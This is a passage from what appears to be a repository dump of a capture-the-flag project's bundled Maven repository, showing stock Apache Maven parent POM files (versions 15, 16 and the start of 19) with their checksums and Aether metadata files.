<archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-15</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-15</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-15</url>\n  </scm>\n  <ciManagement>\n    <system>Hudson</system>\n    <url>http://grid.sonatype.org/ci</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.2-beta-4</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.1</version>\n              </dependency>\n              <dependency>\n                <!-- NOTE: The fix for PLXUTILS-120 is crucial for the new assembly descriptor -->\n                <groupId>org.codehaus.plexus</groupId>\n                <artifactId>plexus-utils</artifactId>\n                <version>2.0.1</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>source-release</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileFormat>gnu</tarLongFileFormat>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n            <executions>\n              <execution>\n                <phase>clean</phase>\n                <goals>\n                  <goal>clean</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.4.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.3</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.6.1</version>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://commons.apache.org/dbcp/apidocs/</link>\n                <link>http://commons.apache.org/fileupload/apidocs/</link>\n                <link>http://commons.apache.org/httpclient/apidocs/</link>\n                <link>http://commons.apache.org/logging/apidocs/</link>\n                <link>http://commons.apache.org/pool/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-utils/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-classworlds/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-containers/plexus-container-default/apidocs/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/15/maven-parent-15.pom.sha1",
    "content": "63d5a76e7f9d3c6d7870bde13438856ef5300336"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/16/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:59 CST 2018\nmaven-parent-16.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/16/maven-parent-16.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>7</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>16</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Héritier</name>\n      <email>aheritier@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Hervé Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Founder</role>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <email>rgoers@apache.org</email>\n      <organization>Intuit</organization>\n      <timezone>-8</timezone>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>ifedorenko</id>\n      <name>Igor Fedorenko</name>\n      <email>igor@ifedorenko.com</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>krosenvold</id>\n      <name>Kristian Rosenvold</name>\n      <email>krosenvold@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas De Loof</name>\n      <email>nicolas@apache.org</email>\n      <organization>Capgemini</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pgier</id>\n      <name>Paul Gier</name>\n      <email>pgier@apache.org</email>\n      <organization>Red Hat</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ptahchiev</id>\n      <name>Petar Tahchiev</name>\n      <email>ptahchiev@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+2</timezone>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>stephenc</id>\n      <name>Stephen Connolly</name>\n      <email>stephenc@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>markh</id>\n      <name>Mark Hobson</name>\n      <email>markh@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n     <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <!--End Committers-->\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven-Announcements-f15617.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://www.nabble.com/Maven---Notifications-f15574.html</otherArchive>\n        <otherArchive>http://markmail.org/list/org.apache.maven.notifications</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-16</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-16</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-16</url>\n  </scm>\n  <ciManagement>\n    <system>Hudson</system>\n    <url>http://grid.sonatype.org/ci</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scp://people.apache.org/www/maven.apache.org</url>\n    </site>\n  </distributionManagement>\n\n  <profiles>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n            <executions>\n              <execution>\n                <phase>clean</phase>\n                <goals>\n                  <goal>clean</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.4.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.3</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <!-- NOTE: 2.3 or more requires java 1.5 -->\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <!-- NOTE: 2.6.x is generally unusuable due to MJAVADOC-275 -->\n            <version>2.5</version>\n            <configuration>\n              <encoding>${project.build.sourceEncoding}</encoding>\n              <links>\n                <link>http://java.sun.com/j2se/1.4.2/docs/api</link>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://commons.apache.org/dbcp/apidocs/</link>\n                <link>http://commons.apache.org/fileupload/apidocs/</link>\n                <link>http://commons.apache.org/httpclient/apidocs/</link>\n                <link>http://commons.apache.org/logging/apidocs/</link>\n                <link>http://commons.apache.org/pool/apidocs/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://jakarta.apache.org/regexp/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-utils/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-classworlds/apidocs/</link>\n                <link>http://plexus.codehaus.org/plexus-containers/plexus-container-default/apidocs/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/16/maven-parent-16.pom.sha1",
    "content": "00fed95187c0c9bfd13c08a858cb6f00245a3fa9"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/19/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:38 CST 2018\nmaven-parent-19.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/19/maven-parent-19.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>9</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>19</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of 